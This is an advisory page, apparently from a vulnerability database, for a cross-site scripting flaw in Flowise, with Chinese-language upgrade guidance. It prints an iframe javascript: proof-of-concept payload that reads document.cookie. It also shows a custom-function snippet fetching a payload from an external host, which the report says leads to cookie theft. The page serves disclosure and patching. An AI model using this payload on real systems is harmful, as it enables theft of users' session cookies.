CVE-2025-71331
Flowise vulnerable to XSS
描述
### Summary A XSS(cross-site scripting) vulnerability is caused by insufficient filtering of input by web applications. Attackers can leverage this XSS vulnerability to inject malicious script code (HTML code or client-side Javascript code) into web pages, and when users browse these web pages, the malicious code will be executed, and the victims may be vulnerable to various attacks such as cookie data theft, etc. ### Details 1. Send a Message `<iframe src="javascript:alert(document.cookie);">` from User in a chat box: <img width="1396" alt="image" src="https://github.com/user-attachments/assets/b472e304-9e7a-40d2-8469-675a5f0744e5" /> ##### Trigger in other ways: 2. Create a Agentflow in cloud platform (https://cloud.flowiseai.com/agentflows) 3. Create a Custom function as an example, use the below example code. ``` const fetch = require('node-fetch'); const url = 'https://external.website'; const options = { method: 'GET', headers: { 'Content-Type': 'application/json' } }; try { const response = await fetch(url, options); const text = await response.text(); return text; } catch (error) { console.error(error); return ''; } ``` 4. The external website (https://external.website) return a XSS payload as content. <img width="1228" alt="image" src="https://github.com/user-attachments/assets/2e0a4d1c-45bf-4c5f-b1b4-54c51f35ce53" /> 5. The javascript code is executed and the victim's cookie data is sent to the external website. <img width="1212" alt="image" src="https://github.com/user-attachments/assets/4ea17dab-c456-4a51-94f4-93fe9aa18cf7" /> ### PoC `<iframe src="javascript:alert(document.cookie);">` ### Impact it is critical XSS vulnerability. All users of Flowise platform that use the workflows of agents.
如何修補 CVE-2025-71331
要修補 CVE-2025-71331,請將受影響套件升級到下列已修補版本。
- —升級至 3.0.8 或更新版本
CVE-2025-71331 正在被利用嗎?
低 — EPSS 為 0.2%,目前沒有觀察到大規模利用活動。
受影響套件(1)
- from 0, < 3.0.8